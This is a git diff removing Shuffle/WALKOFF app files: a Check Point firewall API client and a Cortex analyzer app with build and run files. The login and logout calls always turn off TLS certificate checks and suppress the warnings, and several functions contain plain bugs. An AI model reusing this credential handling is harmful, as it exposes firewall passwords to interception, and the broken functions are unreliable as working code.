AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP//Z diff --git a/checkpoint/1.0.0/requirements.txt b/checkpoint/1.0.0/requirements.txt deleted file mode 100644 index fd7d3e06..00000000 --- a/checkpoint/1.0.0/requirements.txt +++ /dev/null @@ -1 +0,0 @@ -requests==2.25.1 \ No newline at end of file diff --git a/checkpoint/1.0.0/src/app.py b/checkpoint/1.0.0/src/app.py deleted file mode 100644 index 42ad9d53..00000000 --- a/checkpoint/1.0.0/src/app.py +++ /dev/null @@ -1,470 +0,0 @@ -import socket -import asyncio -import time -import random -import json -import requests -from walkoff_app_sdk.app_base import AppBase -from urllib3.exceptions import InsecureRequestWarning -import ast - -requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) - -# Some of the endpoints are not available for checkpoint version < R80.40 like show-policy-settings, add-objects-batch - -class CheckPoint(AppBase): - __version__ = "1.0.0" - app_name = "Checkpoint" # this needs to match "name" in api.yaml - - def __init__(self, redis, logger, console_logger=None): - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - super().__init__(redis, logger, console_logger) - - def login(self, ip_addr:str, user:str, password:str)->str: - """Returns session ID. to be used for authenticating requests""" - - url = f'https://{ip_addr}/web_api/login' - - request_headers = { - 'Content-Type' : 'application/json' - } - json_payload = { - 'user':user, 'password' : password - } - - response = requests.post(url,data=json.dumps(json_payload), headers=request_headers, verify=False) - - if not response.raise_for_status(): - return response.json()['sid'] - - return f'Login failed, status_code->{response.status_code}' - - def logout(self, ip_addr:str, session_id:str)->str: - """logs out user""" - - url = f'https://{ip_addr}/web_api/logout' - - request_headers = { - 'Content-Type' : 'application/json', - 'X-chkp-sid': session_id - } - - response = requests.post(url, headers=request_headers, data=json.dumps({}), verify=False) - print(f"logout -> {response.json()['message']}") - - def publish(self, ip_addr:str, session_id:str)->"json": - url = f'https://{ip_addr}/web_api/publish' - - request_headers = { - 'Content-Type' : 'application/json', - 'X-chkp-sid': session_id - } - - # if session_uid: - # json_payload = { - # 'uid': session_uid - # } - - response = requests.post(url,data=json.dumps({}), headers=request_headers, verify=False) - return response.json() - - def list_packages(self, ip_addr:str, user:str, password:str, ssl_verify)->"json": - url = f'https://{ip_addr}/web_api/show-packages' - session_id = self.login(ip_addr, user, password) - - if ssl_verify.lower() == 'true': - ssl_verify = True - else: - ssl_verify = False - - request_headers = { - 'Content-Type' : 'application/json', - 'X-chkp-sid': session_id - } - - response = requests.post(url, data=json.dumps({}), headers=request_headers, verify=ssl_verify) - self.logout(ip_addr, session_id) - return response.json() - - def install_policy(self, ip_addr:str, user:str, password:str, policy_package:str, targets:str, ssl_verify)->"json": - #allow user to input list elments seperated by , - # this action has lots of optional parameters, add those when building for shuffle https://sc1.checkpoint.com/documents/latest/APIs/index.html#web/install-policy~v1.8%20 - - targets = [i.strip() for i in targets.split(',')] - url = f'https://{ip_addr}/web_api/install-policy' - session_id = self.login(ip_addr, user, password) - - if ssl_verify.lower() == 'true': - ssl_verify = True - else: - ssl_verify = False - - request_headers = { - 'Content-Type' : 'application/json', - 'X-chkp-sid': session_id - } - json_payload = { - 'policy-package': policy_package, - 'targets' : targets - } - - response = requests.post(url,data=json.dumps(json_payload), headers=request_headers, verify=ssl_verify) - # Do we really need to publish changes after installing the policy?? - #self.publish(ip_addr,session_id) - self.logout(ip_addr, session_id) - return response.json() - - def add_host(self, ip_addr:str, user:str, password:str, host_list:list, ssl_verify)->"json": - """create host""" - print(host_list," type-->",type(host_list)) - final_response = { - "success": [], - "failed": [] - } - - if isinstance(host_list, str): - host_list = ast.literal_eval(host_list) - - url = f'https://{ip_addr}/web_api/add-host' - session_id = self.login(ip_addr, user, password) - - - if ssl_verify.lower() == 'true': - ssl_verify = True - else: - ssl_verify = False - - request_headers = { - 'Content-Type' : 'application/json', - 'X-chkp-sid': session_id - } - for host in host_list: - json_payload = { - 'name': host, - 'ip-address' : host - } - response = requests.post(url, data=json.dumps(json_payload), headers=request_headers, verify=ssl_verify) - if response.json().get('errors') == None and response.json().get('warnings') == None : - final_response["success"].append(response.json()) - else: - final_response['failed'].append(response.json()) - - self.publish(ip_addr,session_id) - self.logout(ip_addr, session_id) - return final_response - - def add_hosts_from_file(self, file_id:str, ip_addr:str, user:str, password:str, ssl_verify)->"json": - ''' this function will read ips from text file (comma seperated) - and make host in checkpoint for all of them ''' - # https://sc1.checkpoint.com/documents/latest/APIs/index.html#web/add-objects-batch~v1.8%20 - - # add-objects-batch requires R80.40+ --- https://community.checkpoint.com/t5/API-CLI-Discussion/How-to-add-multiple-network-objects-easily-for-a-beginner/m-p/119214/highlight/true#M5870 - # gonna loop through all ips and make api call for each one of them. - - file_data = self.get_file(file_id) - hosts_data = file_data['data'].decode() # reading file data and loading them into list - host_list =[str(i).strip() for i in hosts_data.split(',')] - - url = f'https://{ip_addr}/web_api/add-host' - session_id = self.login(ip_addr, user, password) - - if ssl_verify.lower() == 'true': - ssl_verify = True - else: - ssl_verify = False - - request_headers = { - 'Content-Type' : 'application/json', - 'X-chkp-sid': session_id - } - - for host in host_list: - json_payload = { - 'name': host, - 'ip-address' : host - } - response = requests.post(url, data=json.dumps(json_payload), headers=request_headers, verify=ssl_verify) - if response.raise_for_status(): - return {"status":"failed","message":response.text} - - self.publish(ip_addr,session_id) - self.logout(ip_addr, session_id) - return {"message": "hosts added", "host_list": host_list } - - def show_hosts(self, ip_addr:str, user:str, password:str, ssl_verify)->"json": - """create host""" - - url = f'https://{ip_addr}/web_api/show-hosts' - session_id = self.login(ip_addr, user, password) - - if ssl_verify.lower() == 'true': - ssl_verify = True - else: - ssl_verify = False - - request_headers = { - 'Content-Type' : 'application/json', - 'X-chkp-sid': session_id - } - - response = requests.post(url, headers=request_headers,data=json.dumps({}), verify=ssl_verify) - if not response.raise_for_status(): - return response.json() - - return {"status_code" :response.status_code, "message": response.text} - - def delete_host(self, ip_addr:str, user:str, password:str, host_name:str, ssl_verify:str)->"json": - """create host""" - - url = f'https://{ip_addr}/web_api/show-hosts' - session_id = self.login(ip_addr, user, password) - - if ssl_verify.lower() == 'true': - ssl_verify = True - else: - ssl_verify = False - - request_headers = { - 'Content-Type' : 'application/json', - 'X-chkp-sid': session_id - } - json_payload = { - 'name': host_name - } - - response = requests.post(url, headers=request_headers,data=json.dumps(), verify=ssl_verify) - if not response.raise_for_status(): - self.logout(ip_addr, session_id) - return response.json() - - return {"status_code" :response.status_code, "message": response.text} - - def show_access_rule(self, ip_addr:str, user:str, password:str, name:str, layer:str, ssl_verify)->"json": - #https://sc1.checkpoint.com/documents/latest/APIs/index.html#web/show-access-rule~v1.8%20 - url = f'https://{ip_addr}/web_api/show-access-rule' - session_id = self.login(ip_addr, user, password) - - if ssl_verify.lower() == 'true': - ssl_verify = True - else: - ssl_verify = False - - request_headers = { - 'Content-Type' : 'application/json', - 'X-chkp-sid': session_id - } - json_payload = { - 'name': name, - 'layer': layer - } - - response = requests.post(url,data=json.dumps(json_payload), headers=request_headers, ssl_verify=verify) - if not response.raise_for_status(): - self.logout(ip_addr, session_id) - return response.json() - - return {"status_code" :response.status_code, "message": response.text()} - - def add_access_rule(self, ip_addr:str, user:str, password:str, name:str, layer:str, position:str, ssl_verify)->"json": - """create host""" - - url = f'https://{ip_addr}/web_api/add-access-rule' - session_id = self.login(ip_addr, user, password) - - if ssl_verify.lower() == 'true': - ssl_verify = True - else: - ssl_verify = False - - request_headers = { - 'Content-Type' : 'application/json', - 'X-chkp-sid': session_id - } - json_payload = { - 'name':name, - 'layer': host_name, - 'position' : host_ip - } - - response = requests.post(url,data=json.dumps(json_payload), headers=request_headers, verify=ssl_verify) - self.logout(ip_addr, session_id) - return response.json() - - def show_groups(self, ip_addr:str, user:str, password:str, ssl_verify:str)->"json": - """create host""" - - url = f'https://{ip_addr}/web_api/show-groups' - session_id = self.login(ip_addr, user, password) - - if ssl_verify.lower() == 'true': - ssl_verify = True - else: - ssl_verify = False - - request_headers = { - 'Content-Type' : 'application/json', - 'X-chkp-sid': session_id - } - - response = requests.post(url,data=json.dumps({}), headers=request_headers, verify=ssl_verify) - self.logout(ip_addr, session_id) - return response.json() - - def create_group(self, ip_addr:str, user:str, password:str, name:str, members:list ,ssl_verify:str)->"json": - """create a network group""" - - url = f'https://{ip_addr}/web_api/add-groups' - session_id = self.login(ip_addr, user, password) - - if ssl_verify.lower() == 'true': - ssl_verify = True - else: - ssl_verify = False - - request_headers = { - 'Content-Type' : 'application/json', - 'X-chkp-sid': session_id - } - - if members: - json_payload = { - 'name': name, - 'members': members - } - else: - json_payload = { - 'name': name - } - - response = requests.post(url,data=json.dumps(json_payload), headers=request_headers, verify=ssl_verify) - self.publish(ip_addr,session_id) - self.logout(ip_addr, session_id) - return response.json() - - def add_hosts_to_group(self, ip_addr:str, user:str, password:str, name:str, members:list ,ssl_verify:str)->"json": - """Adds host to network group""" - - url = f'https://{ip_addr}/web_api/set-group' - session_id = self.login(ip_addr, user, password) - if isinstance(members, str): - members = ast.literal_eval(members) - - if ssl_verify.lower() == 'true': - ssl_verify = True - else: - ssl_verify = False - - request_headers = { - 'Content-Type' : 'application/json', - 'X-chkp-sid': session_id - } - json_payload = { - 'name': name, - 'members': members - } - - response = requests.post(url,data=json.dumps(json_payload), headers=request_headers, verify=ssl_verify) - self.publish(ip_addr,session_id) - self.logout(ip_addr, session_id) - return response.json() - - def show_access_rulebase(self, ip_addr:str, user:str, password:str, name:str, ssl_verify:str)->"json": - """Show access rulebase""" - - url = f'https://{ip_addr}/web_api/show-access-rulebase' - session_id = self.login(ip_addr, user, password) - - if ssl_verify.lower() == 'true': - ssl_verify = True - else: - ssl_verify = False - - request_headers = { - 'Content-Type' : 'application/json', - 'X-chkp-sid': session_id - } - json_payload = { - 'name': name - } - - response = requests.post(url,data=json.dumps(json_payload), headers=request_headers, verify=ssl_verify) - self.publish(ip_addr,session_id) - self.logout(ip_addr, session_id) - return response.json() - - def set_access_rule(self, ip_addr:str, user:str, password:str, name:str, layer:str, action:str, destination:str,ssl_verify:str)->"json": - """Update existing access rule""" - - url = f'https://{ip_addr}/web_api/set-access-rule' - session_id = self.login(ip_addr, user, password) - - layer = layer.capitalize() - - if ssl_verify.lower() == 'true': - ssl_verify = True - else: - ssl_verify = False - - request_headers = { - 'Content-Type' : 'application/json', - 'X-chkp-sid': session_id - } - json_payload = { - 'name': name, - 'layer':layer, - 'action':action, - 'destination':destination - } - - response = requests.post(url,data=json.dumps(json_payload), headers=request_headers, verify=ssl_verify) - self.publish(ip_addr,session_id) - self.logout(ip_addr, session_id) - return response.json() - - def list_all_tasks(self, ip_addr:str, user:str, password:str, ssl_verify)->"json": - url = f'https://{ip_addr}/web_api/show-tasks' - session_id = self.login(ip_addr, user, password) - - if ssl_verify.lower() == 'true': - ssl_verify = True - else: - ssl_verify = False - - request_headers = { - 'Content-Type' : 'application/json', - 'X-chkp-sid': session_id - } - - response = requests.post(url,data=json.dumps({}), headers=request_headers, verify=ssl_verify) - self.logout(ip_addr, session_id) - return response.json() - - def get_task(self, ip_addr:str, user:str, password:str, task_id:str, ssl_verify)->"json": - url = f'https://{ip_addr}/web_api/show-task' - session_id = self.login(ip_addr, user, password) - - if ssl_verify.lower() == 'true': - ssl_verify = True - else: - ssl_verify = False - - request_headers = { - 'Content-Type' : 'application/json', - 'X-chkp-sid': session_id - } - json_payload = { - 'task-id': task_id - } - - response = requests.post(url,data=json.dumps(json_payload), headers=request_headers, verify=ssl_verify) - self.logout(ip_addr, session_id) - return response.json() - - -if __name__ == "__main__": - CheckPoint.run() diff --git a/cortex/1.0.0/Dockerfile b/cortex/1.0.0/Dockerfile deleted file mode 100644 index bfa83edc..00000000 --- a/cortex/1.0.0/Dockerfile +++ /dev/null @@ -1,26 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app - -# Install any binary dependencies needed in our final image -RUN apk --no-cache add --update libmagic - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG diff --git a/cortex/1.0.0/api.yaml b/cortex/1.0.0/api.yaml deleted file mode 100644 index 8ffd05ab..00000000 --- a/cortex/1.0.0/api.yaml +++ /dev/null @@ -1,162 +0,0 @@ -walkoff_version: 1.0.0 -app_version: 1.0.0 -name: cortex -environment: onprem -description: Cortex implementation with WALKOFF -tags: - - Threat intel - - Search -categories: - - Intel -contact_info: - name: "@frikkylikeme" - url: https://github.com/frikky -authentication: - required: true - parameters: - - name: apikey - description: The apikey to use - example: "*****" - required: true - schema: - type: string - - name: url - description: The URL to target - example: "http://localhost:9001" - required: true - schema: - type: string -actions: - - name: get_available_analyzers - description: Gets a list of all analyzers - parameters: - - name: datatype - description: The datatype to search for (e.g. domain, ip) - example: "domain" - required: true - schema: - type: string - returns: - schema: - type: string - - name: run_available_analyzers - description: Runs all valid cortex analyzers for the datatype - parameters: - - name: apikey - description: The apikey to use - example: "*****" - required: true - schema: - type: string - - name: url - description: The URL to target - example: "http://localhost:9001" - required: true - schema: - type: string - - name: data - description: The data to analyze - required: true - schema: - type: string - - name: datatype - description: The datatype to run - required: true - schema: - type: string - - name: message - description: The message to add, default blank - required: false - schema: - type: string - - name: tlp - description: The tlp to use (0-3), default 1 - required: false - schema: - type: tlp - - name: force - description: Whether to force rerun the analysis - required: false - options: - - true - - false - schema: - type: tlp - returns: - schema: - type: string - - name: run_analyzer - description: Run a cortex analyzer - parameters: - - name: apikey - description: The apikey to use - example: "*****" - required: true - schema: - type: string - - name: url - description: The URL to target - example: "http://localhost:9001" - required: true - schema: - type: string - - name: analyzer_name - description: The analyzer to run - required: true - schema: - type: string - - name: data - description: The data to analyze - required: true - schema: - type: string - - name: datatype - description: The datatype to run - required: true - schema: - type: string - - name: message - description: The message to add, default blank - required: false - schema: - type: string - - name: tlp - description: The tlp to use (0-3), default 1 - required: false - schema: - type: tlp - - name: force - description: Whether to force rerun the analysis - required: false - options: - - true - - false - schema: - type: tlp - returns: - schema: - type: string - - name: get_analyzer_result - description: Get the result from an analyzer - parameters: - - name: apikey - description: The apikey to use - example: "*****" - required: true - schema: - type: string - - name: url - description: The URL to target - example: "http://localhost:9001" - required: true - schema: - type: string - - name: result_id - description: The id of the report to get - required: true - schema: - type: string - returns: - schema: - type: string -large_image: data:image/png;base64,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 diff --git a/cortex/1.0.0/docker-compose.yml b/cortex/1.0.0/docker-compose.yml deleted file mode 100644 index a24d759b..00000000 --- a/cortex/1.0.0/docker-compose.yml +++ /dev/null @@ -1,14 +0,0 @@ -version: '3.4' -services: - cortex: - build: - context: . - dockerfile: Dockerfile - env_file: - - env.txt - restart: "no" - deploy: - mode: replicated - replicas: 10 - restart_policy: - condition: none diff --git a/cortex/1.0.0/env.txt b/cortex/1.0.0/env.txt deleted file mode 100644 index f8994238..00000000 --- a/cortex/1.0.0/env.txt +++ /dev/null @@ -1,4 +0,0 @@ -REDIS_URI=redis://redis -REDIS_ACTION_RESULT_CH=action-results -REDIS_ACTION_RESULTS_GROUP=action-results-group -APP_NAME=cortex diff --git a/cortex/1.0.0/requirements.txt b/cortex/1.0.0/requirements.txt deleted file mode 100644 index 1f296044..00000000 --- a/cortex/1.0.0/requirements.txt +++ /dev/null @@ -1,3 +0,0 @@ -requests==2.25.1 -python-magic==0.4.18 -cortex4py==2.0.1 diff --git a/cortex/1.0.0/run b/cortex/1.0.0/run deleted file mode 100644 index edd92650..00000000 --- a/cortex/1.0.0/run +++ /dev/null @@ -1,17 +0,0 @@ -#!/bin/sh -docker stop frikky/shuffle:cortex_1.0.0 --force -docker rm frikky/shuffle:cortex_1.0.0 --force -docker rmi frikky/shuffle:cortex_1.0.0 --force - -docker build . -t frikky/shuffle:cortex_1.0.0 - -echo "RUNNING!\n\n" -docker run \ - --env CALLBACK_URL="http://192.168.239.144:5001" \ - --env ACTION='{"app_name":"testing","app_version":"1.0.0","errors":[],"id_":"13fa4c3f-8991-3ade-b90d-f326fd4941dd","is_valid":true,"label":"random_number","environment":"onprem","name":"random_number","parameters":[],"position":{"x":178.07868996109607,"y":457.28345902971614},"priority":3}' \ - --env FUNCTION_APIKEY="asdasd" \ - --env EXECUTIONID="2349bf96-51ad-68d2-5ca6-75ef8f7ee814" \ - --env AUTHORIZATION="8e344a2e-db51-448f-804c-eb959a32c139" \ - frikky/shuffle:cortex_1.0.0 - -docker push frikky/shuffle:cortex_1.0.0 diff --git a/cortex/1.0.0/src/app.py b/cortex/1.0.0/src/app.py deleted file mode 100644 index dbbe866c..00000000 --- a/cortex/1.0.0/src/app.py +++ /dev/null @@ -1,123 +0,0 @@ -#!/usr/bin/env python -# -*- coding: utf-8 -*- - -import asyncio -import urllib3 -import cortex4py -from cortex4py.api import Api - -from walkoff_app_sdk.app_base import AppBase - -class Cortex(AppBase): - __version__ = "1.0.0" - app_name = "cortex" - - def __init__(self, redis, logger, console_logger=None): - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - - urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) - super().__init__(redis, logger, console_logger) - - def get_available_analyzers(self, apikey, url, datatype): - self.api = Api(url, apikey, cert=False) - try: - analyzers = self.api.analyzers.find_all({}, range='all') - except cortex4py.exceptions.ServiceUnavailableError as e: - return [str(e)] - except cortex4py.exceptions.AuthorizationError as e: - return [str(e)] - except cortex4py.exceptions.NotFoundError as e: - return [str(e)] - - if len(analyzers) == 0: - return [] - - all_results = [] - for analyzer in analyzers: - if not datatype in analyzer.dataTypeList: - continue - - all_results.append(analyzer.name) - - return all_results - - def run_available_analyzers(self, apikey, url, data, 